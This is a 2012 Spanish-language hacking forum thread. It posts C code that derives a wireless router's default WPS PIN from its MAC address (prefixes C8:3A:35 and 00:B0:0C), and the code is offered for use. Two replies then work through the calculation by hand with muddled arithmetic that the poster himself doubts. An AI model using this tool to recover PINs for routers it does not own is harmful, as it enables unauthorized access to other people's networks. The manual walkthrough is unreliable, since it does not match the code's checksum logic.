elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Wireless en Windows
| | | |-+  ComputePIN-C83A35
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ComputePIN-C83A35  (Leído 8,289 veces)
P4nd3m0n1um


Desconectado Desconectado

Mensajes: 1.419



Ver Perfil
ComputePIN-C83A35
« en: 8 Abril 2012, 15:03 pm »

Si tu router inalambrico tiene la MAC: "C8:3A:35" o "00:B0:0C", ahora puedes desde windows saber cual es su posible pin de WPS!


Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main()
  4. {
  5. unsigned int wps_pin_checksum(unsigned int pin);
  6. int PIN = 0;
  7. printf("ComputePIN-C83A35\n");
  8. printf("Description:\n");
  9. printf("If your wireless router MAC address start with \"C83A35\",\n");
  10. printf("type the other six digits, you might be able to get the \n");
  11. printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
  12. printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
  13. printf("Input MAC Address(HEX):c83a35");
  14. scanf("%x",&PIN);
  15. printf("MAC Address(HEX) is: C83A35%X\n",PIN);
  16. printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
  17. return 0;
  18. }
  19. unsigned int wps_pin_checksum(unsigned int pin)
  20. {
  21. unsigned int accum = 0;
  22. while (pin)
  23. {
  24. accum += 3 * (pin % 10);
  25. pin /= 10;
  26. accum += pin % 10;
  27. pin /= 10;
  28. }
  29. return (10 - accum % 10) % 10;
  30. }

FUENTE: http://forum.anywlan.com/thread-125873-1-1.html


En línea

P4nd3m0n1um


Desconectado Desconectado

Mensajes: 1.419



Ver Perfil
Re: ComputePIN-C83A35
« Respuesta #1 en: 8 Abril 2012, 15:36 pm »

En Español:

Tomas la MAC: C8:3A:35:FF:FF:FF bien, tomando los FF:FF:FF finales los pasamos de HEX a Deci:

obtenemos:

16777215

a los primeros dos caracteres los restamos: 1-6=5 y lo posicionamos:

67772155!

NOTA: no se si es así, pero se me ocurrió recién..


En línea

P4nd3m0n1um


Desconectado Desconectado

Mensajes: 1.419



Ver Perfil
Re: ComputePIN-C83A35
« Respuesta #2 en: 8 Abril 2012, 18:20 pm »

En Español:

Tomas la MAC: C8:3A:35:FF:FF:FF bien, tomando los FF:FF:FF finales los pasamos de HEX a Deci:

obtenemos:

16777215

a los primeros dos caracteres los restamos: 1-6=5 y lo posicionamos:

67772155!

NOTA: no se si es así, pero se me ocurrió recién..

iba bien... mm porque nos qda el 16777215 le hacemos el %10000000 y nos da 6777215..

luego hacemos 3 * (16777215 % 10).. nos queda 15..

ahora como es mayor a 2 cifras lo que hace es verificarlo y le hace al resultado 15 % 10 = 5.

lo verificamos: (10 - 67772155 % 10) % 10.. 5 y listo pin 67772155.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines